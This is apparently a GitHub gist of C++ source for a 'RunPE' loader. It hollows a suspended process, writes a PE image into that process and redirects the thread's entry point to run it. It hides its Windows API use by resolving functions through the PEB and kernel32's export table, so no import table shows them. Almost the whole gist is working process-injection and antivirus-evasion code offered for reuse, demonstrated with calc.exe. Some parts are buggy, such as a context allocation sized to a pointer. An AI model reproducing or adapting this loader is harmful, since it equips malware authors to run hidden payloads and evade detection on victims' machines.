Skip to content

Instantly share code, notes, and snippets.

@devdilson
Last active May 12, 2019 23:17
Show Gist options
  • Select an option

  • Save devdilson/a8be7113ed6c06e8face2e2fbbb798c7 to your computer and use it in GitHub Desktop.

Select an option

Save devdilson/a8be7113ed6c06e8face2e2fbbb798c7 to your computer and use it in GitHub Desktop.
Running portable executable from a file without import address table
#pragma once
#include <string>
#include <windows.h>
#include "winapi.h"
#pragma once
// Merge all sections into single.
#pragma comment(linker, "/merge:.CRT=.text")
#pragma comment(linker, "/merge:.data=.text")
#pragma comment(linker, "/merge:.rdata=.text")
// Makes all sections readable and writable.
#pragma comment(linker, "/section:.text,EWR")
//#define LOG(X) OutputDebugStringA(X)
#define LOG(X) ;
void *operator new[](size_t s) {
auto _alloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc");
return _alloc(NULL, s, MEM_COMMIT, PAGE_READWRITE);
}
void operator delete[](void *p) {
auto _free = Win32::GetKernel32Function<decltype(&VirtualFree)>("VirtualFree");
_free(p, 0, MEM_RELEASE);
}
decltype(&GetModuleFileNameA) _GetModuleFileNameA;
decltype(&CreateProcessA) _CreateProcessA;
decltype(&GetThreadContext) _GetThreadContext;
decltype(&SetThreadContext) _SetThreadContext;
decltype(&ReadProcessMemory) _ReadProcessMemory;
decltype(&VirtualAlloc) _VirtualAlloc;
decltype(&VirtualAllocEx) _VirtualAllocEx;
decltype(&WriteProcessMemory) _WriteProcessMemory;
decltype(&ResumeThread) _ResumeThread;
decltype(&memset) _memset;
decltype(&CloseHandle) _CloseHandle;
decltype(&CreateFileA) _CreateFile;
decltype(&GetFileSize) _GetFileSize;
decltype(&ReadFile) _ReadFile;
decltype(&GetModuleHandleA) _GetModuleHandle;
decltype(&TerminateProcess) _TerminateProcess;
decltype(&GetCurrentProcess) _GetCurrentProcess;
void initApis() {
_GetModuleFileNameA = Win32::GetKernel32Function<decltype(&GetModuleFileNameA)>("GetModuleFileNameA");
_CreateProcessA = Win32::GetKernel32Function<decltype(&CreateProcessA)>("CreateProcessA");
_GetThreadContext = Win32::GetKernel32Function<decltype(&GetThreadContext)>("GetThreadContext");
_SetThreadContext = Win32::GetKernel32Function<decltype(&SetThreadContext)>("SetThreadContext");
_ReadProcessMemory = Win32::GetKernel32Function<decltype(&ReadProcessMemory)>("ReadProcessMemory");
_VirtualAlloc = Win32::GetKernel32Function<decltype(&VirtualAlloc)>("VirtualAlloc");
_VirtualAllocEx = Win32::GetKernel32Function<decltype(&VirtualAllocEx)>("VirtualAllocEx");
_WriteProcessMemory = Win32::GetKernel32Function<decltype(&WriteProcessMemory)>("WriteProcessMemory");
_ResumeThread = Win32::GetKernel32Function<decltype(&ResumeThread)>("ResumeThread");
_memset = Win32::GetNtFunction<decltype(&memset)>("memset");
_CloseHandle = Win32::GetKernel32Function<decltype(&CloseHandle)>("CloseHandle");
_CreateFile = Win32::GetKernel32Function<decltype(&CreateFileA)>("CreateFileA");
_GetFileSize = Win32::GetKernel32Function<decltype(&GetFileSize)>("GetFileSize");
_ReadFile = Win32::GetKernel32Function<decltype(&ReadFile)>("ReadFile");
_GetModuleHandle = Win32::GetKernel32Function<decltype(&GetModuleHandleA)>("GetModuleHandleA");
_TerminateProcess = Win32::GetKernel32Function<decltype(&TerminateProcess)>("TerminateProcess");
_GetCurrentProcess = Win32::GetKernel32Function<decltype(&GetCurrentProcess)>("GetCurrentProcess");
}
int RunPortableExecutable(void* Image, const char*path) {
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024];
DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
_GetModuleFileNameA(_GetModuleHandle(NULL), CurrentFilePath, 1024);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
_memset(&PI, 0, sizeof(PI)); // Null the memory
_memset(&SI, 0, sizeof(SI)); // Null the memory
if (_CreateProcessA(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) {
// Allocate memory for the context.
LOG("Creating process...\n");
CTX = LPCONTEXT(_VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (_GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
_ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = _VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// Write the image to the process
_WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
_WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
_WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
_SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
if (!_ResumeThread(PI.hThread)) {
return 0;
}
return 0;
}
}
}
}
HANDLE MapFileToMemory(LPCSTR filename) {
LOG("MapFileToMemory...\n");
HANDLE hFile = _CreateFile(filename, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
LOG("CreateFile returned INVALID_HANDLE_VALUE\n");
return 0;
}
LOG("File created...\n");
DWORD dwSize = _GetFileSize(hFile, NULL);
void *buffer = _VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buffer) {
_CloseHandle(hFile);
return 0;
}
DWORD dwRead;
if (!_ReadFile(hFile, buffer, dwSize, &dwRead, NULL)) {
return 0;
}
IMAGE_DOS_HEADER *dos_header = reinterpret_cast<IMAGE_DOS_HEADER*>(buffer);
LOG("MapFileToMemory OK...\n");
return buffer;
}
void initialize() {
HANDLE hHandle = MapFileToMemory("C:\\windows\\system32\\calc.exe");
RunPortableExecutable(hHandle, "C:\\windows\\system32\\calc.exe");
_TerminateProcess(_GetCurrentProcess(), 0);
}
int main() {
initApis();
initialize();
ExitProcess(0);
}
#include <Windows.h>
#include <string>
namespace Win32 {
extern void OutputDebug(const char *msg);
DWORD* GetPEB() {
__asm {
push 0x30
pop esi
mov eax, fs:[esi]
ret
}
}
DWORD GetKernel32Address()
{
DWORD dwAddr = 0;
__asm
{
mov ebx, fs:[0x30]
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10]
mov dwAddr, ebx
}
return dwAddr;
}
LPVOID WINAPI GetFuncAddress(DWORD baseAddress, const char *func) {
IMAGE_DOS_HEADER *dos_header = reinterpret_cast<IMAGE_DOS_HEADER*>(baseAddress);
IMAGE_NT_HEADERS *nt_header = PIMAGE_NT_HEADERS(baseAddress + dos_header->e_lfanew);
DWORD export_rva = nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (export_rva == 0) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY img_export_dir = PIMAGE_EXPORT_DIRECTORY(baseAddress + export_rva);
PDWORD Address = (PDWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfFunctions);
PDWORD Name = (PDWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfNames);
PWORD Ordinal = (PWORD)((LPBYTE)baseAddress + img_export_dir->AddressOfNameOrdinals);
for (int i = 0; i < img_export_dir->AddressOfFunctions; i++) {
if (!strcmp(func, (char*)baseAddress + Name[i])) {
return (PVOID)((LPBYTE)baseAddress + Address[Ordinal[i]]);
}
}
return NULL;
}
void _memcpy(void *dest, void *src, size_t n) {
char *csrc = (char *)src;
char *cdest = (char *)dest;
for (int i = 0; i < n; i++)
cdest[i] = csrc[i];
}
template<class T>
T GetKernel32Function(const char *name) {
T ret = reinterpret_cast<T>(GetFuncAddress(GetKernel32Address(), name));
char *c = (char*)name;
for (int i = 0; i < strlen(name); i++) {
c[0] = 0;
}
return ret;
}
template<class T>
T GetNtFunction(const char *name) {
auto _LoadLibrary = Win32::GetKernel32Function<decltype(&LoadLibraryA)>("LoadLibraryA");
if (!_LoadLibrary) {
return NULL;
}
HMODULE hModule = _LoadLibrary("ntdll.dll");
if (!_LoadLibrary) {
return NULL;
}
auto _func = reinterpret_cast<T>(GetFuncAddress((DWORD)hModule, name));
if (!_func) {
return NULL;
}
//OutputDebug("Loaded NT DLL with success");
return _func;
}
template<class T>
T GetUser32Function(const char *name) {
auto _LoadLibrary = Win32::GetKernel32Function<decltype(&LoadLibraryA)>("LoadLibraryA");
if (!_LoadLibrary) {
return NULL;
}
HMODULE hModule = _LoadLibrary("User32.dll");
if (!_LoadLibrary) {
return NULL;
}
auto _func = reinterpret_cast<T>(GetFuncAddress((DWORD)hModule, name));
if (!_func) {
return NULL;
}
// OutputDebug("Loaded NT DLL with success");
return _func;
}
void OutputDebug(const char *msg) {
auto _log = Win32::GetKernel32Function<decltype(&OutputDebugStringA)>("OutputDebugStringA");
_log(msg);
_log("\n");
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment